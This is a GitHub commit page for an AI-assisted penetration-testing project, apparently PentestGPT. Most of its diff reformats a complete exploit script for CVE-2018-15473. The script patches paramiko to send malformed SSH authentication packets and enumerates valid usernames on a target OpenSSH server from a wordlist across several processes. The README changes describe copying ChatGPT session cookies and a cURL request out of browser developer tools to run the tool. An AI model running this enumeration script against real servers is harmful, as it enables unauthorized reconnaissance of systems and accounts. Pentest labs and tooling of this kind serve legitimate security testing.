Skip to content

Commit ae4c94c

Browse files
committed
fix: 🐛 Cookie bypass with curl
1 parent dbd4b09 commit ae4c94c

File tree

8 files changed

+189
-127
lines changed

8 files changed

+189
-127
lines changed

.devcontainer/targets/openssh/exploit.py

Lines changed: 114 additions & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -30,17 +30,18 @@
3030

3131

3232
class Color:
33-
""" Class for coloring print statements. Nothing to see here, move along. """
34-
BOLD = '\033[1m'
35-
ENDC = '\033[0m'
36-
RED = '\033[38;5;196m'
37-
BLUE = '\033[38;5;75m'
38-
GREEN = '\033[38;5;149m'
39-
YELLOW = '\033[38;5;190m'
33+
"""Class for coloring print statements. Nothing to see here, move along."""
34+
35+
BOLD = "\033[1m"
36+
ENDC = "\033[0m"
37+
RED = "\033[38;5;196m"
38+
BLUE = "\033[38;5;75m"
39+
GREEN = "\033[38;5;149m"
40+
YELLOW = "\033[38;5;190m"
4041

4142
@staticmethod
4243
def string(string: str, color: str, bold: bool = False) -> str:
43-
""" Prints the given string in a few different colors.
44+
"""Prints the given string in a few different colors.
4445
4546
Args:
4647
string: string to be printed
@@ -52,57 +53,64 @@ def string(string: str, color: str, bold: bool = False) -> str:
5253
"""
5354
boldstr = Color.BOLD if bold else ""
5455
colorstr = getattr(Color, color.upper())
55-
return f'{boldstr}{colorstr}{string}{Color.ENDC}'
56+
return f"{boldstr}{colorstr}{string}{Color.ENDC}"
5657

5758

5859
class InvalidUsername(Exception):
59-
""" Raise when username not found via CVE-2018-15473. """
60+
"""Raise when username not found via CVE-2018-15473."""
6061

6162

6263
def apply_monkey_patch() -> None:
63-
""" Monkey patch paramiko to send invalid SSH2_MSG_USERAUTH_REQUEST.
64-
65-
patches the following internal `AuthHandler` functions by updating the internal `_handler_table` dict
66-
_parse_service_accept
67-
_parse_userauth_failure
68-
69-
_handler_table = {
70-
MSG_SERVICE_REQUEST: _parse_service_request,
71-
MSG_SERVICE_ACCEPT: _parse_service_accept,
72-
MSG_USERAUTH_REQUEST: _parse_userauth_request,
73-
MSG_USERAUTH_SUCCESS: _parse_userauth_success,
74-
MSG_USERAUTH_FAILURE: _parse_userauth_failure,
75-
MSG_USERAUTH_BANNER: _parse_userauth_banner,
76-
MSG_USERAUTH_INFO_REQUEST: _parse_userauth_info_request,
77-
MSG_USERAUTH_INFO_RESPONSE: _parse_userauth_info_response,
78-
}
64+
"""Monkey patch paramiko to send invalid SSH2_MSG_USERAUTH_REQUEST.
65+
66+
patches the following internal `AuthHandler` functions by updating the internal `_handler_table` dict
67+
_parse_service_accept
68+
_parse_userauth_failure
69+
70+
_handler_table = {
71+
MSG_SERVICE_REQUEST: _parse_service_request,
72+
MSG_SERVICE_ACCEPT: _parse_service_accept,
73+
MSG_USERAUTH_REQUEST: _parse_userauth_request,
74+
MSG_USERAUTH_SUCCESS: _parse_userauth_success,
75+
MSG_USERAUTH_FAILURE: _parse_userauth_failure,
76+
MSG_USERAUTH_BANNER: _parse_userauth_banner,
77+
MSG_USERAUTH_INFO_REQUEST: _parse_userauth_info_request,
78+
MSG_USERAUTH_INFO_RESPONSE: _parse_userauth_info_response,
79+
}
7980
"""
8081

8182
def patched_add_boolean(*args, **kwargs):
82-
""" Override correct behavior of paramiko.message.Message.add_boolean, used to produce malformed packets. """
83+
"""Override correct behavior of paramiko.message.Message.add_boolean, used to produce malformed packets."""
8384

8485
auth_handler = paramiko.auth_handler.AuthHandler
85-
old_msg_service_accept = auth_handler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
86+
old_msg_service_accept = auth_handler._client_handler_table[
87+
paramiko.common.MSG_SERVICE_ACCEPT
88+
]
8689

8790
def patched_msg_service_accept(*args, **kwargs):
88-
""" Patches paramiko.message.Message.add_boolean to produce a malformed packet. """
89-
old_add_boolean, paramiko.message.Message.add_boolean = paramiko.message.Message.add_boolean, patched_add_boolean
91+
"""Patches paramiko.message.Message.add_boolean to produce a malformed packet."""
92+
old_add_boolean, paramiko.message.Message.add_boolean = (
93+
paramiko.message.Message.add_boolean,
94+
patched_add_boolean,
95+
)
9096
retval = old_msg_service_accept(*args, **kwargs)
9197
paramiko.message.Message.add_boolean = old_add_boolean
9298
return retval
9399

94100
def patched_userauth_failure(*args, **kwargs):
95-
""" Called during authentication when a username is not found. """
101+
"""Called during authentication when a username is not found."""
96102
raise InvalidUsername(*args, **kwargs)
97103

98-
auth_handler._client_handler_table.update({
99-
paramiko.common.MSG_SERVICE_ACCEPT: patched_msg_service_accept,
100-
paramiko.common.MSG_USERAUTH_FAILURE: patched_userauth_failure
101-
})
104+
auth_handler._client_handler_table.update(
105+
{
106+
paramiko.common.MSG_SERVICE_ACCEPT: patched_msg_service_accept,
107+
paramiko.common.MSG_USERAUTH_FAILURE: patched_userauth_failure,
108+
}
109+
)
102110

103111

104112
def create_socket(hostname: str, port: int) -> Union[socket.socket, None]:
105-
""" Small helper to stay DRY.
113+
"""Small helper to stay DRY.
106114
107115
Returns:
108116
socket.socket or None
@@ -112,11 +120,13 @@ def create_socket(hostname: str, port: int) -> Union[socket.socket, None]:
112120
try:
113121
return socket.create_connection((hostname, port))
114122
except socket.error as e:
115-
print(f'socket error: {e}', file=sys.stdout)
123+
print(f"socket error: {e}", file=sys.stdout)
116124

117125

118-
def connect(username: str, hostname: str, port: int, verbose: bool = False, **kwargs) -> None:
119-
""" Connect and attempt keybased auth, result interpreted to determine valid username.
126+
def connect(
127+
username: str, hostname: str, port: int, verbose: bool = False, **kwargs
128+
) -> None:
129+
"""Connect and attempt keybased auth, result interpreted to determine valid username.
120130
121131
Args:
122132
username: username to check against the ssh service
@@ -137,7 +147,11 @@ def connect(username: str, hostname: str, port: int, verbose: bool = False, **kw
137147
try:
138148
transport.start_client()
139149
except paramiko.ssh_exception.SSHException:
140-
return print(Color.string(f'[!] SSH negotiation failed for user {username}.', color='red'))
150+
return print(
151+
Color.string(
152+
f"[!] SSH negotiation failed for user {username}.", color="red"
153+
)
154+
)
141155

142156
try:
143157
transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
@@ -150,54 +164,84 @@ def connect(username: str, hostname: str, port: int, verbose: bool = False, **kw
150164

151165

152166
def main(**kwargs):
153-
""" main entry point for the program """
154-
sock = create_socket(kwargs.get('hostname'), kwargs.get('port'))
167+
"""main entry point for the program"""
168+
sock = create_socket(kwargs.get("hostname"), kwargs.get("port"))
155169
if not sock:
156170
return
157171

158172
banner = sock.recv(1024).decode()
159173

160-
regex = re.search(r'-OpenSSH_(?P<version>\d\.\d)', banner)
174+
regex = re.search(r"-OpenSSH_(?P<version>\d\.\d)", banner)
161175
if regex:
162176
try:
163-
version = float(regex.group('version'))
177+
version = float(regex.group("version"))
164178
except ValueError:
165-
print(f'[!] Attempted OpenSSH version detection; version not recognized.\n[!] Found: {regex.group("version")}')
179+
print(
180+
f'[!] Attempted OpenSSH version detection; version not recognized.\n[!] Found: {regex.group("version")}'
181+
)
166182
else:
167-
ver_clr = 'green' if version <= 7.7 else 'red'
168-
print(f"[+] {Color.string('OpenSSH', color=ver_clr)} version {Color.string(version, color=ver_clr)} found")
183+
ver_clr = "green" if version <= 7.7 else "red"
184+
print(
185+
f"[+] {Color.string('OpenSSH', color=ver_clr)} version {Color.string(version, color=ver_clr)} found"
186+
)
169187
else:
170-
print(f'[!] Attempted OpenSSH version detection; version not recognized.\n[!] Found: {Color.string(banner, color="yellow")}')
188+
print(
189+
f'[!] Attempted OpenSSH version detection; version not recognized.\n[!] Found: {Color.string(banner, color="yellow")}'
190+
)
171191

172192
apply_monkey_patch()
173193

174-
if kwargs.get('username'):
175-
kwargs['username'] = kwargs.get('username').strip()
194+
if kwargs.get("username"):
195+
kwargs["username"] = kwargs.get("username").strip()
176196
return connect(**kwargs)
177197

178-
with multiprocessing.Pool(kwargs.get('threads')) as pool, Path(kwargs.get('wordlist')).open() as usernames:
179-
host = kwargs.get('hostname')
180-
port = kwargs.get('port')
181-
verbose = kwargs.get('verbose')
182-
pool.starmap(connect, [(user.strip(), host, port, verbose) for user in usernames])
183-
184-
185-
if __name__ == '__main__':
186-
parser = argparse.ArgumentParser(description="OpenSSH Username Enumeration (CVE-2018-15473)")
187-
188-
parser.add_argument('hostname', help='target to enumerate', type=str)
189-
parser.add_argument('-p', '--port', help='ssh port (default: 22)', default=22, type=int)
190-
parser.add_argument('-t', '--threads', help="number of threads (default: 4)", default=4, type=int)
191-
parser.add_argument('-v', '--verbose', action='store_true', default=False,
192-
help="print both valid and invalid usernames (default: False)")
193-
parser.add_argument('-6', '--ipv6', action='store_true', help="Specify use of an ipv6 address (default: ipv4)")
198+
with multiprocessing.Pool(kwargs.get("threads")) as pool, Path(
199+
kwargs.get("wordlist")
200+
).open() as usernames:
201+
host = kwargs.get("hostname")
202+
port = kwargs.get("port")
203+
verbose = kwargs.get("verbose")
204+
pool.starmap(
205+
connect, [(user.strip(), host, port, verbose) for user in usernames]
206+
)
207+
208+
209+
if __name__ == "__main__":
210+
parser = argparse.ArgumentParser(
211+
description="OpenSSH Username Enumeration (CVE-2018-15473)"
212+
)
213+
214+
parser.add_argument("hostname", help="target to enumerate", type=str)
215+
parser.add_argument(
216+
"-p", "--port", help="ssh port (default: 22)", default=22, type=int
217+
)
218+
parser.add_argument(
219+
"-t", "--threads", help="number of threads (default: 4)", default=4, type=int
220+
)
221+
parser.add_argument(
222+
"-v",
223+
"--verbose",
224+
action="store_true",
225+
default=False,
226+
help="print both valid and invalid usernames (default: False)",
227+
)
228+
parser.add_argument(
229+
"-6",
230+
"--ipv6",
231+
action="store_true",
232+
help="Specify use of an ipv6 address (default: ipv4)",
233+
)
194234

195235
multi_or_single_group = parser.add_mutually_exclusive_group(required=True)
196-
multi_or_single_group.add_argument('-w', '--wordlist', type=str, help="path to wordlist")
197-
multi_or_single_group.add_argument('-u', '--username', help='a single username to test', type=str)
236+
multi_or_single_group.add_argument(
237+
"-w", "--wordlist", type=str, help="path to wordlist"
238+
)
239+
multi_or_single_group.add_argument(
240+
"-u", "--username", help="a single username to test", type=str
241+
)
198242

199243
args = parser.parse_args()
200244

201-
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
245+
logging.getLogger("paramiko.transport").addHandler(logging.NullHandler())
202246

203-
main(**vars(args))
247+
main(**vars(args))

README.md

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,7 @@
4747

4848
<!-- ABOUT THE PROJECT -->
4949
## General Updates
50+
- [Update on 19/05/2023] A support to chatGPT cookie usage is added. Please read the installation section for more details.
5051
- [Update on 13/05/2023] I'll add more demo videos for PentestGPT. Below are the available ones:
5152
- **PentestGPT for OSCP-like machine: [HTB-Jarvis](https://youtu.be/lAjLIj1JT3c)**. This is the first part only, and I'll complete the rest when I have time.
5253
- **PentestGPT on [HTB-Lame](https://youtu.be/Vs9DFtAkODM)**. This is an easy machine, but it shows you how PentestGPT skipped the rabbit hole and worked on other potential vulnerabilities.
@@ -86,12 +87,14 @@ Before installation, we recommend you to take a look at this [installation video
8687

8788
1. Install `requirements.txt` with `pip install -r requirements.txt`
8889
2. Configure the cookies in `config`. You may follow a sample by `cp config/chatgpt_config_sample.py config/chatgpt_config.py`.
89-
- If you're using cookie, please watch this video: https://youtu.be/IbUcj0F9EBc. The general steps are:
90-
- Login to ChatGPT session page.
90+
- **If you're using cookie, please go through the following details!!!**
91+
- please watch this video: https://youtu.be/IbUcj0F9EBc.
92+
- *Use Chrome* to login to ChatGPT.
9193
- In `Inspect - Network`, find the connections to the ChatGPT session page.
92-
- Find the cookie in the **request header** in the request to `https://chat.openai.com/api/auth/session` and paste it into the `cookie` field of `config/chatgpt_config.py`. (You may use Inspect->Network, find session and copy the `cookie` field in `request_headers` to `https://chat.openai.com/api/auth/session`)
93-
- Note that the other fields are temporarily deprecated due to the update of ChatGPT page.
94+
- Find the cookie in the **request header** in the request to `https://chat.openai.com/public-api/conversation_limit` and paste it into the `cookie` field of `config/chatgpt_config.py`. (You may use Inspect->Network, find session and copy the `cookie` field in `request_headers` to `https://chat.openai.com/public-api/conversation_limit`)
9495
- Fill in `userAgent` with your user agent.
96+
- During the usage of PentestGPT, **You may be asked to refresh the session as cookie expired**. Please copy the request to `https://chat.openai.com/public-api/conversation_limit` as **cURL** and paste it to `config/chatgpt_config_curl.txt`. Follow the instruction and the session will be updated.
97+
- Note that each cookie may work for around 30 mins.
9598
- If you're using API:
9699
- Fill in the OpenAI API key in `chatgpt_config.py`.
97100
3. To verify that the connection is configured properly, you may run `python3 test_connection.py`. You should see some sample conversation with ChatGPT.
@@ -104,7 +107,7 @@ Before installation, we recommend you to take a look at this [installation video
104107
## Test connection for OpenAI api (GPT-3.5)
105108
3. You're connected with OpenAI API. You have GPT-3.5 access. To start PentestGPT, please use <python3 main.py --reasoning_model=gpt-3.5-turbo --useAPI>
106109
```
107-
4. (Notice) The above verification process for cookie. If you encounter errors after several trials, please try to refresh the page, repeat the above steps, and try again. You may also try with the cookie to `https://chat.openai.com/backend-api/conversations`. Please submit an issue if you encounter any problem.
110+
5. (Notice) The above verification process for cookie. If you encounter errors after several trials, please try to refresh the page, repeat the above steps, and try again. You may also try with the cookie to `https://chat.openai.com/backend-api/conversations`. Please submit an issue if you encounter any problem.
108111

109112

110113

0 commit comments

Comments
 (0)